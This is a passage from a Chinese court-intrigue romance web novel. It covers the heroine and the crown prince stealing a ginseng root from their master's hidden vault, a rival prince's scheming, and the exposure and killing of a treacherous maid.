男人则是盯着她水润嫣红的唇瓣,目光微沉,嗓音也因为刚喝了酒有些喑哑:“乖乖,这还是你第一次主动。” “闭嘴。”燕晚清撇过脸去,粉色顺着脸颊爬上来,蔓延到了耳坠。 萧蘋风勾唇轻笑,嗓音里都是愉悦:“好好好,只做不说,知道你脸皮子薄。” 燕晚清:“……” 怎么会有如此厚颜无耻之人?这个人还是大渭的太子爷……简直是匪夷所思。 她说不出话,只能恶狠狠的瞪了他一眼,示意他赶紧闭嘴。 萧蘋风喝了酒,冷风吹过来,脸颊发烫,人也已经有些微醺,他凑过来:“困了,咱们回去休息吧。” “要休息你自己去,我没空。”燕晚清心里还想着燕红昭的伤势,哪里有心情睡觉。 萧蘋风见状,将脸凑过来,黑眸潋滟,带着丝丝的呆萌:“乖乖,你干嘛去?” “问那么多干什么。” “好好好,不问不问。”萧蘋风叹了一口气,语气中都是宠溺,他又将人拉进怀中抱住:“那人家在房间里等你回来睡觉觉好不好?” 燕晚清皱着眉头:“你就不能回自己的东宫睡么?” “当然可以。” 她意外的挑眉,还以为今天的他这么好说话,结果下一句就听见。 “你跟着孤回东宫。” 燕晚清小脸一冷:“做你的春秋大梦。” “那孤不回去,东宫的床榻没有你的床榻香软,也没有你能抱着睡,孤不回去。”说着语气竟然带着娇嗔,听得燕晚清鸡皮疙瘩都起来了,赶紧挣脱开来。 “你先回去,我马上过去。”说着她起身连走带跑的走了出去。 身后的男人托着漂亮的头颅,歪着看着她落荒而逃的背影,眼里都是亮晶晶的光。 今晚的天气格外的冷。 风寒刺骨冰冷,燕晚清从里面出来,从歌就给她准备好了一件披风裹上了,但还是无济于事,主仆二人只好一路小跑回到莲园。 刚回去,她就意识到刚刚好像忘记和那人说,今天晚上没床榻可以睡了。 她的床榻此时给了五妹,现在一屋子的丫鬟还加上一个白发苍苍的大夫,一看就是大半夜从外面请进来的,看着一盆接着一盆的血水里淌着纱布被丫鬟们端了出来,燕晚清直觉心慌。 她快步走了进去,只见母亲正在和大夫商讨着燕红昭的病情,见她进来了,孙青莲赶紧用帕子擦拭了一下眼角。 “太子殿下送出府了吗?”孙青莲问道。 燕晚清点了点头:“走了。” 她看着帷幔里面若隐若现的人影,忧心忡忡:“五妹怎么样了?”可惜现在小六不在,不然这种伤对她而言只是小事一桩。 “当年你是靠着一根千年人参吊住了一口气,可是眼下哪里再来这种奇珍异宝。”孙青莲说着,声音竟然有些哽咽了。 她看着帷幔里面的人影,心里很不是滋味。 还没有及笄的孩子,怎么就遭遇了这样的事情。 “我今日就不该带着小七回娘家,倘若我不走,那贼妇也不敢动这样的心思。”孙青莲越想越后悔。 燕晚清披风下的手攥紧,她一定要救五妹,不计任何代价。 “我去想办法。”她疾步出门走到了暗处。 六妹的同仁堂眼下也不知道有没有收入一些珍贵药材,伤筋动骨一百天,五妹挨了二十军棍,后面养身体的药材定是要很多的,倘若养不好,可能会落下残疾…… 可能会变成第二个自己…… 燕晚清不敢再想下去:“否极,去一趟同仁堂。”她吩咐道。 暗处中的否极看到了一切,他迟疑了一下还是回复道:“同仁堂可能也没有,前阵子因为主子身上的毒,珍贵药材已经挥霍一空了。” 燕晚清脸色暗沉:“不惜一切代价,高价收购。” “诺。” 她必须要找最稳妥的法子,民间的奇珍异宝被发现之后,最后的去处一定是各大皇室,或许她可以找萧蘋风问一问。 燕晚清心中有一丝犹豫。 她不想欠他太多。 但……此刻只能靠她做出选择。 燕晚清又扭头往回跑,可是回到房间后里面已经空无一人,案几上空空荡荡,佳酿也消失的无影无踪。 走了? 她微微蹙眉,转身往外追去。 今夜她就算是进宫也要拿到千年人参。 燕晚清从侧门让仆人开了小门往外走,在空旷的巷子里看了看。 “怎么走的这么快……”她嘴里嘀咕着。 “你探头探脑的找什么呢?”突然头顶上传来声音,燕晚清仰头一看,就看见他坐在墙头,手里拎着一壶酒,迎着冷月冷风饮酒,青年肆意的看着自己勾唇微笑,墙头之上的枯枝在月光的映衬下宛若一根根妖娆的藤蔓,将他笼罩在自己的阴影之下,看的燕晚清不知为何,心跳漏了半拍。 “……找你。”她听见自己的声音。 萧蘋风从墙头跳下来,朝她走来:“找孤作甚?” 他弯腰低头,鼻尖蹭上她的鼻尖,酒香瞬间扑鼻而来,只听见他轻笑:“这么快就想了?” 燕晚清退开半步:“正经点吧,五妹受伤了,想找殿下讨要一株千年的人参。” 萧蘋风想了想:“千年的人参好像是有的。” 燕晚清心里燃起了希望:“那……” “可惜今日刚被父皇赏给了国师大人。” 萧蘋风说完便看见燕晚清整个人都萎靡了,他将手里的空酒壶随意丢弃到了一边:“走。” “干嘛去?”燕晚清疑惑道。 “带你去国师那边偷人参。” 听着青年满不在乎的声音,燕晚清怔怔的看着月光之下的他,笑的恣意坦荡,双眼中只有自己,不知道为何,她也勾起红唇:“好。” 她也不是恪守常规之人,师父拿着那千年人参也不过是练药丸,再将药丸献给皇帝。 皇帝山珍海味吃多了,也不差一根千年人参。 “那你可要抱紧了。”萧蘋风将她弯腰抱起,燕晚清下意识抱住了他的脖颈,话音刚落,她惊呼一声,人已经纵身跳跃在京都的房梁之上,冷风扑面而来,她睁不开眼睛,可是心里却说不出的畅快舒服。 第七十八章 一晚上都没有问题,不用担心 一路上燕晚清都被包裹在披风下面,裹得紧紧的,进入到皇宫之后,萧蘋风又赶紧给她输内力,生怕她冻着了。 两个人慢吞吞的走在宋化虚的道馆里,看着上次出去迎接过她的道童打着哈欠进了房间里,又熄了灯,她拉了拉萧蘋风的衣角。 “要是待会儿被抓到,你打算怎么办?” 萧蘋风看着她:“你害怕?” 燕晚清摇头:“他是我师父。” “他也是孤的师父。”萧蘋风轻哼一声:“记得之前跟你说过,一看你就没有把孤说的话放在心上。” 燕晚清面上闪过一丝尴尬,只能扯开唇角笑了笑:“那走吧,赶紧拿了回去给我五妹用药。” 至于宋化虚如何向皇帝交差,那就是他的事情了。 这个世道,哪有不吭师父的徒弟。 两个人一路轻车熟路的摸到了炼丹房。 燕晚清翻看着药柜,嘀咕着:“之前见过师父会将一些药材放在这里,怎么没有啊……” 萧蘋风则是四下打量着炼丹房,眼里闪过一丝看不真切的暗光。 听不到他搭话,燕晚清停下来看他:“找不到,不在这里,可能在他的房间里。” “一定在这里。”萧蘋风摇了摇头。 “你为什么这么确定?” “因为他是孤师父。” “他也是我师父,肯定在他的房间里,师父最喜欢把宝贝的东西带回睡觉的地方。” “看来你还不了解师父。” 燕晚清看着他说完,然后走到旁边的墙壁上摸了两下,瞬间打开一扇暗门,她眼睛都瞪大了:“以前从没有这个!” “师姐,你也说是以前。”萧蘋风扯扯唇角,痞笑道。 燕晚清看着他皮的样子,一时之间好奇:“你是什么时候入门的,我怎么不知道。” “在……”萧蘋风陷入回忆,眼里的情绪带着光亮:“在师姐第一次出征之后,便拜入了师父的门下。” “京中有那么多能人,为何要拜入他的门下?”燕晚清朝着暗门里面,又忍不住自己的好奇心问道。 萧蘋风拿着烛灯,耐心的跟她答疑解惑:“可能那时他的名声比较大,父皇又信任他。” 这样说也是有点道理的。 燕晚清顺着台阶而下,映入眼帘的是一处偌大的藏宝室。 她发誓上辈子加这辈子见过的奇珍异宝都没有现在看到的多。 满屋子富丽堂皇,烛光洒在珠宝上面,熠熠生辉,满眼只剩下亮晶晶。 就连平日里见多识广的太子爷也忍不住跟着她倒抽一口气。 足以可见这一屋子的奇珍异宝有多么的让人叹为观止。 “这些年师父没少收集好东西啊。”燕晚清眼里蓦地闪烁着诡谲的光芒。 这些东西要是都被自己收入囊中的话,说什么也能够养活一支军队了。 她心中思索着,随手拿起地上一盏金色的酒杯,上面还镶嵌了红色的玛瑙石,十分的精致美观。 “这东西孤记得是前年塞北供奉的东西,怎么会在这里?”萧蘋风有些不解。 “兴许是被陛下赏赐给了宋化虚。”燕晚清不在意的说道。 萧蘋风立刻摇头:“不可能,前些时日父皇还说这东西要拿出来喝酒用,不可能赏赐出去了,除非……” 似乎是想到了什么不好的东西,两个人对视了一眼。 如今形势之下,国师靠着一手出神入化的炼丹技术,哄得陛下团团转,加上能说会道又有十八般武艺,陛下对他的喜爱程度已经到了恨不得同寝同食的程度,宫里的人又各个跟个人精似的,所以这些年宋化虚在皇宫之内说是一人之下万人之上也不为过,现在陛下几乎不出宫殿门,那经常替陛下传达旨意的宋化虚说的话,自然也就和陛下说的话差不多了,所以这么多年,贪污了这些个金银珠宝也不为怪。 不过是一息之间,两个人就从对视中读到了对方心中的想法。 “先找千年人参。”萧蘋风说道,这间暗室里的东西他要一一调查清楚来历。 燕晚清也不含糊,开始低头寻找。 千年人参可能在这间暗室里并不算多么珍贵的东西了,所以很快便被燕晚清找到了那个檀木盒子。 “找到了。”她抱着偌大的盒子,高兴的说道。 萧蘋风走过来,帮她拿盒子:“那快走吧。” 留在这里还是有危险系数的,虽说他们二人都是宋化虚的弟子,但是被抓到明目张胆的偷窃,说出去还是挺掉价的,尤其一个是天下之光之誉的太子爷,另一个是人称女诸葛的安平郡主。 多多少少,面子上还是不好看。 两个人速战速决从炼丹房里出来,只不过燕晚清临走的时候回头看了一眼,然后伸出手在后腰的位置比了一个手势。 这藏宝密室要么别让她看见,但凡让她看见了,她都不会错过任何一个奇珍异宝。 这里面的东西大多数来的渠道不正规,哪怕是丢了宋化虚也不敢声张。 她就是要借助他的这个心理,将这里面搬空。 她不知道的是,不光她心里有这个想法,搂着她细腰的某位爷心里也是这么想的。 当双方势力齐刷刷的在这道观之中,为了密室里的藏宝大大出手的时候,那可谓是打的不可开交,人仰马翻,当然这些都是后话了。 萧蘋风将燕晚清的兜帽戴好,又让她抱着人参,然后用轻功将她送了回去,全程没有惊动任何一个人,由此可见他的武功有多高超。 燕晚清也是心惊,哪怕是全盛时期的自己,可能在他手里也过不了十招。 只不过平日里萧蘋风在外都是装作不懂武艺,一心只读圣贤书的模样。 可是却在自己面前频频暴露出底牌。 她心里很是愧疚。 他给的她无法不要。 他要的,她又没有办法给。 “在想什么?到了。”将她送回了莲园,萧蘋风说道。 燕晚清抱着盒子,此时天光已经微微有些许透亮,他们竟然就这样折腾了一夜。 看着他眼底的青紫色,燕晚清心里很不是滋味。 “今天晚上,多谢。” 萧蘋风沉默了一会儿,弯腰凑过来,发黄的竹叶下他一脸认真,伸出手指点了点自己的唇瓣。 “正确的表达谢意的方式。” 燕晚清:“……你!” “来嘛。”他又凑上前几分。 燕晚清没辙,环顾四周昏暗,无人注意,她红着脸,上前亲了一口。 “真甜。” 燕晚清听不得这些:“你别说话了,赶紧回东宫休息,天要亮了,你今日还有早朝。” “知道你关心孤,放心孤强壮的很。”他揉了揉她柔软的发丝,凑到她耳边压低声音说道:“一晚上完全没有问题,不用担心。” 这话怎么听都容易想歪。 燕晚清红着脸不搭理他,转身朝着亮堂的地方走过去。 真不知道这个人脑子里都塞得什么东西,真是不正经,偏偏那张脸又禁欲矜贵,一看便不食人间烟火,十足的反差。 第七十九章 夜深了,送燕大人回去 有了千年人参,燕晚清心思安稳了许多,屋里暖炉烧的温暖,让人昏昏欲睡。 孙青莲便赶着她去了偏房休息。 燕晚清也不犟,自己怀着孕,本身就熬不住,刚躺上床榻,她便直接睡了过去。 再说另外一边,夜半三更燕安找到了七皇子府上。 下人通报的时候,萧鸿深还在暗牢里,手里持着一条马鞭,打的地上的人皮开肉绽,等到下人胆战心惊的喊他,他才意犹未尽的将马鞭丢在了一边,伸出双手收了一下自己的凌乱的鬓角。 他慢条斯理的净手:“你是说燕安又找上门了?” “回禀殿下,此刻人还在门外候着。” 萧鸿深沉思了一会儿,半夜上门必定是有了向自己示好的东西。 “让人准备,沐浴更衣。” 下人愣了一下:“不见燕大人吗?” 萧鸿深勾唇露出一个冷冽的笑容:“不急,让他等等。” 天寒地冻,燕安在外面等了足足一个时辰,那紧闭的大门才终于开了一条缝。 燕安脸都冻僵了,根本挤不出一丝笑意。 七皇子让一个堂堂四品官员在门外等一个时辰的行为,着实是寒了人的心,可今晚发生的一切,让他无法再去投靠太子门下,七皇子是唯一出路。 想到这里,燕安生生压住自己心里的怒火,问道:“殿下现在可有功夫见下官了?” 门人露出温和的笑意:“让大人等候多时了,里面请,殿下此刻正在书房等您呢。” 一听七皇子要见自己了,燕安赶紧看了看自己的仪容仪表,确认无误后跟着门人进了门。 本以为书房里会稍微暖和一点,但是没有想到的是,萧鸿深的书房里又冷又冰,跟外面也差不了多少。 寒冬腊月里竟然连一盆炭火都不肯烧,着实让燕安苦不堪言。 萧鸿深刚刚沐浴完,整个人都十分暖和,再加上练武之人向来比较抗冻,所以此刻的他正坐在案几前面看书。 见燕安站在自己的前方直跺脚,他为微微蹙眉:“燕大人这是怎么了?” 燕安讪笑一声:“出门的时候比较急,刚又在外面等久了,现在一时之间有些冷。” 萧鸿深冷冷的抬眼看了一下,然后对着门外喊道:“送一盆炭火进来。” 有了炭火,很快屋内的温度就上来了,燕安整个人缓过神来。 萧鸿深也不急,也不问他到底干嘛来的,这让想要装蒜的燕安心里隐约有了一丝的不安。 太子萧蘋风不是善茬,这七皇子萧鸿深也不是好人。 皇家子弟向来都是薄情寡义,利益为先,萧鸿深也不见得能对燕晚清多么的在意。 想到这里燕安便直接开口将今夜发生的事情全部说了出来。 当萧鸿深听到太子手上有一支精锐暗卫的时候,眼底的神色颇为阴暗,不过最让他在意的还不是这些。 “你是说今夜太子去镇国府,是因为燕晚清的缘故?” 萧鸿深回忆当时在南山的时候,二人之间的暗流,心里登时有些不舒服。 “可是她不是想要嫁给北疆小侯爷么?” 燕安跟着叹了一口气,脸上都是讳莫如深:“下官有句话不知道当讲不担当讲。” “讲。” “那请殿下先恕下官无罪。”燕安作揖说道。 萧鸿深见他屁事还挺多,耐心少了一半,眼里都带了不耐烦:“说吧。” 燕安这才缓缓道来:“下官这个外甥女自小便是从军营中长大,性格像个男孩子,时间一长男女不设防,故而会有些不知道男女之间的尺度,那北疆小侯爷来府上住了几日,她便非他不嫁,这件事情说出去也是挺丢人的,至于太子殿下,应该也是被她一时蒙蔽,故而有了今晚的这一幕……” “闭嘴!”萧鸿深直接将案几上的砚台丢在了地上。 砚台在地上弹了一下,打在了燕安的脚背上,疼的他倒吸一口凉气。 但是他顾不得疼痛,赶紧躬身作揖,不敢再说话了。 萧鸿深冷着脸看着燕安,许久未说话,好半饷才冷哼一声。 “你算什么东西,也敢编排老师的坏话。”萧鸿深眼里都是血丝,他单脚踩在软垫上,整个人慵懒无比,可是说出来的话语就好似是地狱里无限延伸的藤蔓,带着荆棘直勾勾的朝着燕安爬去。 他说:“本以为你手里能够有什么让本殿开心的消息,却没有想到全都是你的揣测,白白浪费了一盏茶的功夫。” 燕安一听这是要下逐客令了,也顾不得自己的官职,直接跪在了地上:“殿下!当今朝堂泾渭分明,殿下有心逐鹿天下,下官愿效犬马之劳啊!” “你?”萧鸿深像是听到了什么好笑的笑话。 燕安面色苍白,七皇子是他现在唯一能抓住的依仗:“只要殿下吩咐,下官在所不辞!” 萧鸿深思忖一会儿:“你身上的官职也是靠着你大哥镇国公的一身功勋带来的,为官这么多年,还被贬谪过,好不容易回到了京城,你也是个破落户,你有什么资格说出为本殿效劳的话?” 燕安脑中雷声大作,他神情紧张:“一定有什么东西,只要殿下说,下官一定可以做成!” “当真?”萧鸿深眯着眼睛,像极了一条在黑暗中窥伺的蛇蟒。 燕安紧张的咽了咽口水:“当真,只要殿下吩咐!” “那本殿就要好好想想了。”萧鸿深慢条斯理的开口:“眼下燕晚清拒绝本殿,却转身嫁给北疆小侯爷这件事情,确实让本殿十分不舒服……” “殿下不想让燕晚清嫁人?” “谁能阻止一个女子嫁人?这可不是一件有礼貌的事情。”萧鸿深勾唇:“不过就是单纯看那北疆小侯爷不舒服罢了。” 燕安眼球乱转:“下官明白殿下的意思了。” “那就有劳燕大人了。”萧鸿深冲着外面的下人招手:“夜深了,送燕大人回去。” 燕安出门的时候被冷风一吹,才发现自己已经浑身湿透了。 萧鸿深这明目张胆的想要得到燕晚清啊,现在就连北疆的小侯爷也不放过。 不过也有道理。 成亲是新郎和新娘两个人的事情,只要其中的一个出现问题,这门婚事就作废了。 萧鸿深将矛头指向了北疆小侯爷,也实属正常。 但是让燕安不理解的是,为何七皇子对于今夜太子的出现只字不提。 他不知道的是,等到自己出去后,萧鸿深便直接喊来了墨山。 “去,查出他背后的鬼面人势力。” 萧蘋风从未露出这股势力,萧鸿深坚信这是他作为太子的底牌。 既然要上位,他就不能放过任何可以扳倒萧蘋风的机会。 墨山很快领命离开,萧鸿深吹灭的书房的灯,朝着寝室走去,一路上丫鬟手里的烛火幢幢,明明暗暗,他一身白衣黑发,却莫名有一种说不出的落寞。 第八十章 从欢,这盆脏水你意欲何为 燕晚清一觉睡到了日上三竿,院子里吵吵闹闹的全都是丫鬟们的窃窃私语。 她揉着发胀的额角起身,喊了一声:“从歌……” 喊了几声没有人应,她微微蹙眉,找了件衣服披上,刚起身,就见从歌从外面推门进来,脸上顶着个通红的巴掌印子。 她愣了一下:“怎么回事?” 从歌一言难尽的摇了摇头,随后手脚麻利的上前帮燕晚清整理衣服,整理的过程中就将今天一大早院子里发生的事情全部说了一遍。 燕晚清这才知道昨天晚上发生的事情远不止于此。 怀玉昨天将院中下人安置好了之后,便回房休息了,但是没有想到的是睡到早上起来,发现从欢衣衫不整的躺在了她的床榻上。 从欢哭的梨花带雨,大早上把所有人都哭了过来,要求怀玉对她负责,从歌让她把衣服穿好起来,从欢不情愿,一来二去的有了肢体接触,从欢就狠狠的给了从歌一巴掌。 燕晚清愣神的功夫,就又听见外面有人小声的敲门。 “从歌姐姐,郡主可醒了?” 从歌叹了一口气,和燕晚清对视一眼说道:“醒了。” “我家小侯爷现在就等郡主救命了,从歌姐姐还请快些。”门外怀玉身边的小厮语气十分急切。 可不就是救命么。 燕晚清赶紧穿戴好衣服,随便拿了一件披风便开了门。 被人不清楚怀玉如何,可是燕晚清心里清楚的很,再是如何,她也不可能会对从欢这个小丫头片子下手的,也不可能下手。 镇国府的一大早是热闹非凡,孙青莲和燕安出门递刘氏的罪诏书,燕晚清都来不及看五妹的身体情况,只能路上问从歌。 “五小姐昨日喝了千年人参的熬出来的汤汁,现在人已经安稳睡下了,大夫说下午的时候再过来看看。” 今日暖阳高照,积雪都开始消融了,路上也逐渐露出了青青草叶子。 燕晚清听完心里松了一口气,便直勾勾的朝着怀玉的院子里赶,还没进去,刚踩着门口,就听见里面传来女子尖细的哭声。 “横竖奴家是个丫鬟,小侯爷不想负责便罢了,奴家不干净了,眼下也不配再去服侍大小姐,不如死了算了,省的给你们添麻烦!” 说着便看见一道娇俏粉红色的身影从门内窜了出来,直勾勾的朝着院门的石墙上撞去。 速度之快根本让人无法反应,就连怀玉也是堪堪两步从门内跑出来,更别提刚睡醒有点发懵的燕晚清了。 那从欢双眼紧闭,一咬牙便朝着石墙撞了上去。 这气势不死也得伤。 可是舍不着孩子套不着狼,眼下她完不成七皇子交代的任务,只能用这种自残的方式来引起更多人的注意了。 到时候按照大小姐的脾性,必定是不可能再与这私生活不检点的小侯爷成婚了,那七皇子就有机会了。 从欢心里的算盘打得噼里啪啦作响。 电光火石一瞬间,眼见着她就要得逞了,一道火红色的身影将她直接揽住,随后丢到了地上。 怀玉看到人的瞬间,松了一口气:“还好有你。” 那红衣男子嗤笑一声,原地飞上了屋檐,很快消失无踪。 只剩下地上瘫坐着的从欢显然有点发蒙。 燕晚清见她脸颊酡红,不停的喘气,不由得面色一冷,推开了从歌的搀扶,自己跨进院子里来。 “你这是在闹什么?” 从欢一听见声音,赶紧看向燕晚清,然后眼眶中的泪水扑簌簌的掉了下来。 “小姐,求小姐替从欢做主啊!” 燕晚清抿着唇,看了一眼怀玉,怀玉双拳攥得生硬,衣服上的扣子也扣错了位置,显然是大早上发生的事情着实让她受了惊吓。 见她忍不住的隔着空气对着用口型说话,燕晚清无奈的摇了摇头。 “你想让我对你做什么主……嗯?”燕晚清在从欢面前缓缓蹲下了身子,单手挑起她的下巴,看着这张前世里曾经背叛的让她痛不欲生的面庞,她露出了一抹绝美的微笑。 从欢下意识的想往后缩,但是燕晚清硬生生的捏着她的下巴,不容许她退缩。 “小姐……疼!”从欢忍不住叫道。 燕晚清笑了:“疼?刚刚撞墙你不怕疼,不过是被捏了个下巴,就怕疼了?从欢你这么没用,背后的主子可是会丢掉你的。” 之前留着从欢是想留着她通风报信,可是眼下自己的势力日益壮大,已经足以与他们这些人分庭抗礼,又何必再留着这个碍眼的东西,更何况今日的她竟敢把注意打在了怀玉的头上。 “从欢不知道小姐在说什么,奴婢只有小姐一个主子啊……”从欢双眼含泪,看着好不可怜,盈盈粉泪从眼眶中溢出,每一滴都有精心设计过,她斜眼看了一下怀玉,说道:“奴婢深知小侯爷和小姐之间情比金坚,自然不是奴婢这种人可以插进去的,昨夜的事情就当做是一场梦吧,小侯爷你放心,往后奴婢不会再出现在你的面前,你放宽心,奴婢不会打搅你和小姐之间的生活的。” 怀玉再也听不下去,从门内走了出来,她看向燕晚清:“晚清你知道的啊,本侯……” 她是女的啊!怎么对这丫鬟下手? 有心无力的好吧! 更何况她也不喜欢女的啊! 哪怕就算是喜欢,也得喜欢燕晚清这款倾国倾城的大美人,怎么可能喜欢一个清汤寡水的丫鬟呢! 她又不瞎! 怀玉气得不轻,想要说什么,最后全部堵在了嘴边。 燕晚清淡淡的扫了她一眼:“这是我的丫鬟,我来处理,小侯爷不如去厨房问问还有什么吃食,我饿了。” 怀玉知道她怀着身子,声音软了几分:“想吃些什么?” “汤汤水水吧。”燕晚清没什么太大的胃口。 怀玉点点头,便直接出了院门。 从欢眼见着这二人根本没有将自己放在眼里,还公然讨论起吃食,不由得有些生气,从地上爬了起来。 “小姐,奴婢跟了您十几年,您真的不替奴婢做主吗?!奴婢也是一条命啊!” 燕晚清被吵得耳朵疼,回过头看向从欢。 “做主?做的哪门子主?” 从欢一把将自己身上的衣服扯下来,露出脖子还有胸口处的印记,表情倔强。 燕晚清看着她满身的伤痕,挑眉:“你是想说小侯爷对你下手了?” “昨夜孤男寡女,共处一室,小侯爷是男子,力气比奴婢大,奴婢不敢惹怒主子,就这样了……”说着从欢又要哭了出来。 燕晚清低低的一笑:“从欢,我以前以为你是个聪明的。” 从欢愣了一下,然后继续哭。 “昨夜确实发生了很多事情,但是你和马房的小赵在马圈里的事情,我还是有所耳闻的。”燕晚清看着从欢逐渐僵硬的面部,继续说道:“这里是镇国府,我是镇国府的嫡长女,府内的任何风吹草动都逃不过我的眼睛。” “从欢,你将这盆子脏水泼到小侯爷身上意欲何为?” 第八十一章 当大小姐腻了,想当官 从欢被燕晚清问的往后退了两步,她总感觉今日的小姐有些不对劲。 还没有等她彻底明白过来,就听见燕晚清继续道。 “让我猜猜。”燕晚清在庭院里踱步,今日的阳光照得她很是舒服,本就白皙的她在阳光下面皮肤晶莹剔透,神圣不可侵犯,只是说出来的话语却是十分的冷冽:“你想阻止我和小侯爷的婚事,最好最快的手段就是让我发现小侯爷为人风流,和丫鬟们有染,这也是你之前三天两头在我耳边说的事情,昨夜府中发生大事,你知道你的机会来了,所以便给小侯爷下了药,上了她的床榻,为了将整件事情塑造的足够逼真,你甚至还抽空去和马房的小赵厮混了一会儿,力求将一切的事情都做到水落石出,不过可惜了。” 从欢面色苍白:“可惜什么?”她做的所有的事情都被燕晚清说了出来,此刻的她内心慌乱无比。 她不该在大小姐面前搞这些阴谋诡计的,她怎么能够忘记大小姐素来是以谋略为人称道的。 看着从欢此刻惊慌失措的神情,燕晚清难得的悲悯:“从欢,你当我身子坏了拿不起剑了,便觉得我这个人也跟着心慈手软了吗?” 从欢抖动如筛糠,她双膝直接跪在了满是雪水的地上,顾不得疼痛:“奴婢错了,奴婢不该耍心机,求小姐原谅。” 如她所说,跟了燕晚清这么多年,怎么会不知道自家的主子是个什么样子的人。 能够在万千铁骑中取对方将领首级而面不改色的人,怎么会是什么心慈手软的人。 “今天日头很足,适合上路。”燕晚清像是真的在说今日的天气,语气温和的不像话:“和你主仆这么多年,我最后答应你一件事情。” 从欢膝盖冻得麻木,只觉得从地底下钻出来一股子凉意,一直顺着膝盖爬到了自己的头皮,整个人抖动痉挛,泣不成声。 但她依然昂着头看向燕晚清:“你为何从头到尾都不信奴婢说的话?为什么从歌说话你就信,奴婢说的话你从来都不信!” 燕晚清没想到临死关头她会问这个问题,思考片刻她说道:“背叛者的话语,不值得信任。” 从欢瞳孔骤缩:“奴婢从来没有——” “从欢,我一贯喜欢你的小聪明,看着很有灵性,但是你千不该万不该将心思动在了我的头上,七皇子给你的允诺你视若珍宝,小姐对你这些年的好你全都忘得一干二净。”燕晚清伸出手拍了拍她冰凉的面颊,继续说道:“做人可不是这么做的。” “你究竟是怎么发现的!”从欢歇斯底里的喊道:“到底是哪里出现了问题……”她为了确保万无一失做了很多事情,这些事情难道燕晚清都能一一料到吗? 她也是凡人啊!也是五谷轮回的正常人,怎么能够做到事事都抢占先机的。 从欢第一次从脑海中产生了狐疑。 燕晚清看着她叛逆的模样,眸光冰冷,她凑上前在她的耳边轻轻说道:“因为小侯爷是女的。” 从欢瞪大眼睛,不敢置信,即将尖叫出声的时候,一把刀出现在了她的后面,直接戳中了心窝,从欢低头看着胸口的那把森冷的刀尖,然后缓缓的咽了气。 燕晚清站直了身子,看着红雾吩咐道:“将尸体送到萧鸿深的榻上,这是我给他的见面礼。” 红雾将从欢背了起来,表情难掩兴奋:“主子,终于要宣战了吗?!” 燕晚清莞尔,清冽的空气在肺腑之中,她目光跨过北方的墙头一直放在了发黄的银杏树上,然后挥了挥手:“去吧,让大家做好准备。” 留给她的时间不多了。 和萧鸿深撕破脸是迟早的事情,这一次,她要以绝对强横的姿态让所有的人都不敢多说一个字! 红雾背着从欢的尸体跨过墙头消失在了院子里。 燕晚清突然回过头看向了还站在院门口的从歌,她勾了勾手指。 从歌咽了咽口水,上前:“小姐。” “害怕吗?”燕晚清问道。 从歌疑惑:“害怕什么?” “我今日杀了你朝夕相处多年的姐妹,你觉得小姐我可怕吗?”燕晚清说这话的时候目光直勾勾的盯着从歌的双眼。 从歌自始至终十分坦然,她抬着头直视燕晚清:“奴婢的眼中只要有小姐一个人就够了,其他的人,奴婢并不在乎。” 燕晚清嗯了一声,神色并没有多少变化。 从歌也十分自然的起身说道:“小侯爷应该为小姐准备好了吃食,小姐可要换个地方用膳?” 燕晚清摇了摇头:“此处甚好,让他们送进来吧。” 从歌听完没有任何犹豫,便出远门喊人将桌子饭菜送了进来。 怀玉大早上被吓得够呛,便和燕晚清一起用了些吃食,她看到了地上的那摊子血,也没有多问,都是聪明人,这京都的风云每一分每一秒都在变换,她已经学会十分坦然的去面对了。 不过怀玉还是忍不住多了个嘴。 “你好歹怀了身子,往后这种事情让我做便是,何须你自己动手?” 燕晚清吃着一口软糯的糕点,咽下:“我手上沾染的鲜血也不少,再说身上的千机不解,我也不知道能不能熬到他出世呢,说这些,太早了。” 怀玉被堵了一嘴,只能干巴巴的哦了一声,然后继续开始吃饭。 燕晚清身上的千机是压在所有人身上的一把刀。 一旦燕晚清倒下了,他们这些人又该何去何从呢? 怀玉不知道,但是她相信燕家的小六燕凌珍一定会将解药带回来的。 她对于燕家人,总是这样盲目的自信。 一顿饭很快用完了,孙青莲和燕安还在大理寺没有回来,下午的时候燕晚清就收到了燕民生没挺过去的消息。 说他死的时候表情狰狞,身上的血都变成了黑色。 燕晚清听着,表情很淡然,只是扫了一眼在门口逗弄八哥的怀玉一眼,最终还是没说什么。 京都的这场风云,被搅弄的已经够浑浊了,再浑浊一点又有何妨呢? “明日我打算进宫面见皇后娘娘。”燕晚清突然说道。 怀玉回头:“为何这么突然?” “没什么,只是在家当大小姐当腻了,想当官试试。”燕晚清淡淡的说道。 “你在开玩笑?”怀玉愣了:“你可是女子!” “所以呢?”燕晚清放下手里的针线,将绣了大半的新娘嫁衣放在一边,从歌便接过继续,她看着怀玉说道:“女子便不能入朝为官了?马上就是春闱,我可以和众多学子一样通过考试考上去。” 怀玉轻叹一口气:“你身子这么弱,怎么可以。” “你身子不弱,那你去啊。” 怀玉:“……”她眉头紧皱:“燕晚清你有话能不能直说?!” “一个月后,我希望你可以代替我南下江南,等你回来,我们便立刻成亲。”燕晚清表情十分认真:“怀玉你想要做的事情我会帮你,但是我想做的事情,也希望你可以不遗余力的助我一臂之力。” 怀玉表情晦暗不明:“入朝为官是唯一的一条路么?” 燕晚清笃定:“是。”任何人都不会有怀玉这么合适,一开始她还想着让柴右去,但是风险系数太高,怀玉够狠够毒,她才是最合适的人选。 第八十二章 再敢进镇国府的门,把你腿打断 又或者说,怀玉身上的包袱太重,重到燕晚清坚信自己和她是一路人,除了一往无前别无选择,稍微退缩一下,等待她们的便是万丈深渊。 怀玉看着表情认真的燕晚清,最终还是叹了一口气,点了点头:“好,但是你也得答应我一件事情。” “你说。” “以后再有见血的事情,躲到一边去,交给我。”怀玉说这话的时候表情有一些不自然,她自小没有玩伴,身上更是有别人不能发现的秘密,加上母亲对她看管严厉,所以这么大了身边从来没有女子靠近过。 燕晚清是第一个,怀玉觉得她太瘦弱纤细了,哪怕这层美人皮囊下面有一颗坚韧的心,怀玉也忍不住想要对她好。 燕晚清见她说的恳切,红唇微微抿起,最终变成了一个上扬的幅度。 “好。” 怀玉自然而然摸了摸她的头:“真乖。” “你疯了吗怀玉?!”燕晚清蹙眉,抬起手便给了她一下,二人瞬间嬉闹起来了。 从歌将绣花针在头上刮了刮,看着屋内的二人眉眼弯弯的继续绣着嫁衣上的鸳鸯。 …… 大理寺内。 谢群看着手里的罪诏书,再看了看地上跪着的面容憔悴的胖妇人,面上全都是狐疑。 “就是她?” 燕安表情悲伤,点点头:“是。” 谢群又看了看罪诏书,问道下面的刘氏:“你凭借一己之力连杀八人?” 刘氏木讷的点头:“回禀大人,是罪妇。” 